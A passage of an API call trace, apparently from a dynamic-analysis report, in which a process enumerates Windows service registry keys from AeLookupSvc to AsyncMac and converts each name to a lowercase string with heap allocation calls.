(HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0177.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.930] RegEnumKeyW (in: hKey=0x140, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0177.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0177.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.931] RegEnumKeyW (in: hKey=0x140, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0177.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0177.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.931] RegEnumKeyW (in: hKey=0x140, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0177.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0177.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.931] RegEnumKeyW (in: hKey=0x140, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0177.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0177.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.931] RegEnumKeyW (in: hKey=0x140, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0177.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0177.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.932] RegEnumKeyW (in: hKey=0x140, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0177.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0177.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.932] RegEnumKeyW (in: hKey=0x140, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0177.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0177.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.932] RegEnumKeyW (in: hKey=0x140, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0177.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0177.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.933] RegEnumKeyW (in: hKey=0x140, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0177.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0177.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.933] RegEnumKeyW (in: hKey=0x140, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0177.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0177.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.933] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0177.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0177.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.933] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0177.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0177.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.934] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0177.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0177.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.934] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0177.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0177.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.934] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0177.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0177.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.935] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0177.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0177.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.935] RegEnumKeyW (in: hKey=0x140, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0177.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0177.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.935] RegEnumKeyW (in: hKey=0x140, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0177.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0177.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.935] RegEnumKeyW (in: hKey=0x140, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0177.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1d18, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0177.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.936] RegEnumKeyW (in: hKey=0x140, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0177.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0177.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.936] RtlFreeHeap 